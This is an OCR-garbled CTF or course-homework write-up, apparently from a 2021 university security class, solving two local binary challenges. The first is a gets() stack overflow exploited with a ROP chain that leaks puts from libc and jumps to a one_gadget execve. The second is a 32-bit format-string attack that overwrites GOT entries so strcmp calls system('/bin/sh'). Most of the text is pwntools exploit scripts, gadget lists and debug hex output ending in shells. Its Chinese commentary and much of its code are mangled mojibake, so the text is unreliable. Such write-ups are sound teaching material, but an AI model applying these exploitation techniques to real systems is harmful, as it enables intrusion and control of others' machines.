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pwn1
3% [ ARG
int _ cdecl main(int argc, const char argv, const char envp)

[
it
char buf[48];

init();
puts(

gets(buf, argv);

return 0;

Arch: amd64-64-1ittle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)

one_gadget

Az T libchR4A, wJLMFEFHone_gadgetT A

$ one_gadget libc-2.31-dbg.so near puts
Gadgets near puts(©x76b10):
Pxcbcbl execve( , rl3, ri12)

NULL
NULL

rl3,

NULL
NULL

rsi,

NULL
NULL

5 Blexecve i Xt Huht Fputs AR ST Mk, T CAR SR ER# .
puts_offset = 0x076b10; execve_offset = Oxcbcbl

CANL AR P iia B 5 B B — pop rdi;ret XAexecve HIRRFIRZ r12, r13 #A0, EFE pop ri12; pop ri3



cherry@cherry-vm:~/workspace/hwl$ ROPgadget binary pwnl

Gadgets information

0x000000000040127C
0x000000000040127e
0x0000000000401280 :
0x0000000000401282
0Xx000000000040127b : 5 5 5 ri4 ; pop ril5 ; ret
0x000000000040127f :
0x000000000040115d
0x0000000000401283
0x0000000000401281 :
0x000000000040127d :
0x000000000040101a :

Unique gadgets found: 11

83 rdi_addr = 0x401283; pop_addr = 0x40127c

gdb-peda® & mainik £ bk

=> 0x4011db <main>: endbr64

main_addr = 0x4011db

B
EWEN: EREEERE N, REEFAputs, FHputs B EE Hputs K Hibht puts_addr

FFputs Xtlibc KB puts_offset i+ Hlibc Z£ht 1ibc_addr = puts_addr - puts_offset; execve addr = libc_addr +
execve_offset 15F|Hexecveitbit

FEoREIN: HER R Hpop_addr iEH#r12, r13, iR [F bl N execve _addr

exp1.py



from pwn import

context(log level

process([

elf.got|[
elf.plt[
0x4011db
0x401283
0x040127c

puts_offset 0x076b10

execve_offset oxcbcbl

b 0x38
p64(rdi_addr)
p64(puts_got)
p64(puts_plt)
p64(main_addr)

p.sendline(payloadl)

puts_addr ub4d(p.recv(6)+b 2)
libc_addr puts_addr puts_offset
libc_addr + execve_offset
(puts_addr))
(libc_addr))
(execve_addr))

b 0x38
p64(pop_addr)
p64(0) * 4
p64(execve_addr)
p.sendline(payload2)

p.interactive()

BITHRBHA




cherry@cherry-vm: ~/workspace/wlt python3 expl.py
[+] starting local process './ld-2.31-dbg.so’ argv=[b’./1d-2.31-dbg.so’, b'./pwnl’] env={b’LD _PRELOAD': b'./libc-2.31-dbg.s0"}
[DEBUG] PLT ex4@1064 puts
[DEBUG] PLT ©x401074 gets
[DEBUG] PLT @x481084 setvbuf
[*] ' /home/cherry/workspace/hwl/pwn1’

Arch: amd64-64-1ittle

RELRO: Partial RELRO

Stack: Mo canary found

X : NX enabled

PIE: No PIE (©x400000)
[DEBUG] Received @x15 bytes:

b'show me your code :D\n'  EE— NG N
[DEBUG] Sent @x59 bytes:

00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 |aaaa|baaa|caaa|daaa
60000818 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 |eaaa|faaa|gaaa|haaa
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6c 61 61 61 |iaaa|jaaa|kaaa|laaa
eooeee3e 6d 61 61 61 6e 61 61 61 [83 12 40 00 | 00 00 02 00 |maaa|naaa|--@-|---
00000040 [18 40 40 00 |00 00 00 00 (64 10 40 00 |00 00 00 00 |-@@-|----|d-@|----
00000050 |db 11 40 @0 |00 62 @0 00 0a cef@e]eeee ]
80000859

[DEBUG] Recei: ; putsEREinht
00000000 |10 cb €7 f7 ff 7f|@a 53 68 6f 77 20 6d 65 20 79 |--++|---S|how |me y|
00000010 6F 75 72 20 63 6f 64 65 20 3a 44 Ga our |code| :D-
6000081C

[pEBUG] Sent ex69 bytes: ._..J'Xﬁ/\

00000008 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 |aaaa|baaa|caaa|daaa
20000010 65 61 61 61 66 61 61 61 67 61 61 61 68 61 61 61 |eaaa|faaa|gaaa|haaa
00000020 69 61 61 61 6a 61 61 61 6b 61 61 61 6C 61 61 61 |iaaa|jaaa|kaaa|lasa
00000030 6d 61 61 61 6e 61 61 61 [7c 12 40 60| 00 00 00 60 |maaa|naaa||-@-|----
00000048 ©0 00 00 00 ©0 00 00 PO 0O OO 00 B0 ©0 °0 Ve B0 S [ R
®

00000060 |bl 1c ed f7 ff 7f |00 0@ @a il

20000969 execve & itht
[*] switching to interactive mode B

Show me your code :D

$ cat flag

[DEBUG] Sent @x9 bytes:
b'cat flag\n'

[DEBUG] Received @x13 bytes:

b'fl 2021}
flaa{ucaﬂiigaﬁil } REhigEshell

pwn2_32
pUACIE M 2]



int _ cdecl main(int argc, const char argv, const char
{

__uid_t v3;

_uid_t v4;

int tmp;

char buf[100];

unsigned int v8;

int *v9;

v9 argc;
v8 = _ readgsdword(@x14u);
e geteuid();
v4 = geteuid();
setreuid(v4, v3);
setvbuf(stdout, @, 2, 9);
setvbuf(stdin, 0, 2, 9);
tmp secret;
puts(
printf( )
fgets(buf, 100, stdin);
if ( !strcmp(buf, ) )
puts( )5
else
handle failure(buf);
if ( tmp secret )
puts(

return 0;

void _ cdecl handle_failure(char *buf)
i
char msg[100];

unsigned int v2;

v2 = _ readgsdword(@x14u);
snprintf(msg, 0x64u,
printf(msg);

it fgets B —MKER1000F /7 (GHLH), HWRREERN "sec21.\n", HERMITEVRINELE, WRAZNEA
handle_failure, #H/GH &4 R Esecret R H LM BH.

handle_failure ¥buf i) N M FTENE] msg H, 485 F FH printfFT Elmsg.
KEGRY

cherry@cherry-vm:~/workspace/hwl$ checksec pwn2_ 32
[*]

Arch: i386-32-1little

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (©x8048000)

B
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Biisecreti; 1Bk Hiret?] fgets BREZ |, HABFEFF AT AR IRBEHAT
P& secret Hudk

gdb-peda$ p &secret
$4 = (unsigned int *) ©x804a050 <secret>

secret_addr = 0x08042050

Mgdb ATLLE H fgets BT — AR printf KN B, K ret BIAL B WAL fgets Z 8T printf 2 /&, ret_addr = main_addr + 139

0x80488df <main+129>: push 0x8048a6e
=> 0x80488e4 <main+134>: call 0x8048520 <printf@plt>

0x80488e9 <main+139>: add esp,0x10

E—WEN: FIH%n, %hnfsisecretiffE, Kputs@gotfi®] ret_addr, I HitgE printf fithht printf_addr.

FIFEU ) printf_addr T+ libc_addr = printf_addr - libc.sym['printf']; system_addr = libc_addr +
libc.sym[ 'system'] o libc F AL H H K324 libcCH /usr/1ib32/1ibc-2.31.s0 A PAKFE .

FE BN : mainlkH P strempfIE—NSEOVH P RN, ¥ stremp@got FI{ESE N system Kbk system_addr, £ F—
WIAFR AN /bin/sh" EPAT3K 1S shell

exp2.py



from pwn import

elf.got|
elf.got|
elf.got|
main_addr = elf.symbols|[
secret_addr 0x08042050
ret_addr main_addr 139

2
p32(secret_addr)
p32(puts_got + 2)
p32(puts_got)
p32(printf_got)

2

((ret_addr 16)-20-18)) .encode()

((ret_addr & oxffff) (ret_addr 16))).encode()

payloadl b
p.sendline(payloadl)

u32(p.recv(4))
printf_addr - libc.sym[
libc_addr libc.sym[
5 (printf_addr))
(libc_addr))
(system_addr))

2
p32(strcmp_got)
p32(strcmp_got + 2)
2
((system_addr & oxffff)-12-18)).encode()

b
b
b
b

((system_addr 16) - (system_addr & Oxffff))).encode()
b
p.sendline(payload2)

p.sendline(
p.interactive()

BITEREBHA

[+] starting lc process ' fhome/cherry/ 1/pwn2_32": pid 19847 4

/ J A v odd )
s B




Lalapala ol dnlj

[DEBUG] Received ex21 bytes:
b*Show me your password. \n’

b'Password: *
[DEBUG] Received exfff bytes:
000EEReR 49 6e 76 61 6C 69 64 20 50 61 73 73 77 6f 72 64 |Inva|lid |Pass|word
000EE010 21 20 42 42 50 a0 B4 B8 2¢ a0 04 08 2c a0 84 08 || BB|P.ss | cvn |, 00t
0PEPEE20 10 20 B4 O 42 42 20 20 20 20 20 20 20 20 20 20 |----|BB
00ePE030 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
®
00GEEBE0 20 20 36 34 20 20 20 20 20 20 20 20 20 20 20 20 64
00ePES10 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ‘ | | ‘ |
L
0oeEeTfo 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 I
oooeafff
[DEBUG] Received exfff bytes:

32 * oxfff

[DEBUG] Received @x92c bytes:
POEEEERE 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | | | |
* printfithlk
000PE8EO 20 20 20 20 20 20 20 20 20 20 38 30 34 38 61 34 80|48a4
000008f0 30 4ale0 fd ed f7]60 b4 e2 f7 46 85 ©4 08 56 85 [@7«« |+ «|«-F-|--V-
00ePA9eD ©4 08 a0 8d 8 f7 76 85 ©4 08 86 85 ©4 B8 €3 88 |-+ee|+eve[reeefoens
00ePE910 ©4 08 10 aa eb f7 f@ ad dd f7 7@ da €2 7 d6 85 |=+e=|seen|repefesas
000PE920 04 08 10 fe €@ f7 f6 85 B4 @8 Ba Ba  |eses|seen|eens
000eA92c

printf_addr=>f7eafdea

libc_addr=>f7dbceee FETIREIN

system_addr=>t7e81420

[DEBUG] Sent @x26 bytes:
00EREREe 42 42[Bc 2@ 04 08 Ge 20 04 @8]42 42 25 35 31 32 |BB--|----|--BB|¥%S12
@0eeee1e 32 78 25 31 35 24 68 6e 25 35 38 33 30 34 78 25 |21 |S$hn|¥583 |8axk
00000020 31 36 24 68 6e 0a 168h|n- |
0P0BAR26

[pEBUG] Sent @x8 bytes:

[ b'/bin/sh\n' |
[*] Switching to interactive mode
“\xba'\xe2\xf7F\xB5\x84V\x85\ x84\ xa0 \x8d \xe8'\xf 7v\xB5\ x84\ x86 \x85 \ x84 \xe3\x8\x18 \xeb\xf 7\xf

[DEBUG] Received exfff bytes:

0BoDaRee 49 6e 76 61 6C 69 64 20 50 61 73 73 77 6f 72 64 |Inva|lid |Pass|word
000PEO10 21 20 42 42 [BC a0 04 P8 Pe ad B4 O8] 42 42 20 20 |l BB|---- |- BB
POOE0028 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

*

opoeoffe 20 20 20 20 20 20 20 20
opeoafff
Invalid Password! BB\x8c\x04\x0e\x04BB

20 20 20 20 20 20 20 I 1 1 1 |

$ 1s

[DEBUG] Sent @x3 bytes:
b*ls\n’

[DEBUG] Received exc9 bytes:
b'core\t flaght\t peda-session-pwnl.txt pwn2_32\n"
b'el.py\t inputi\t\t peda-session-pwn2 32.txt puwn2_exp.py\n’
b'expl.py 1d-2.31-dbg.so pwn1\t\t\t pwn3in’

b'exp2.py libc-2.31-dbg.so pwnl_exp.py\t\t README\n"
core flag peda-session-pwnl.txt pwn2_32
el.py inputl peda-session-pwn2 32.txt pwn2_exp.py
expl.py 1d-2.31-dbg.so pwnl pwn3
exp2.py libc-2.31-dbg.so pwnl_exp.py README
$ cat flag
[DEBUG] Sent @x9 bytes:
b'cat flag\n®
[DEBUG] Received @x13 bytes: gEt the shell !

b'flag{ucas sec 2021}’
flag{ucas_sec_2021}$ |

& B S
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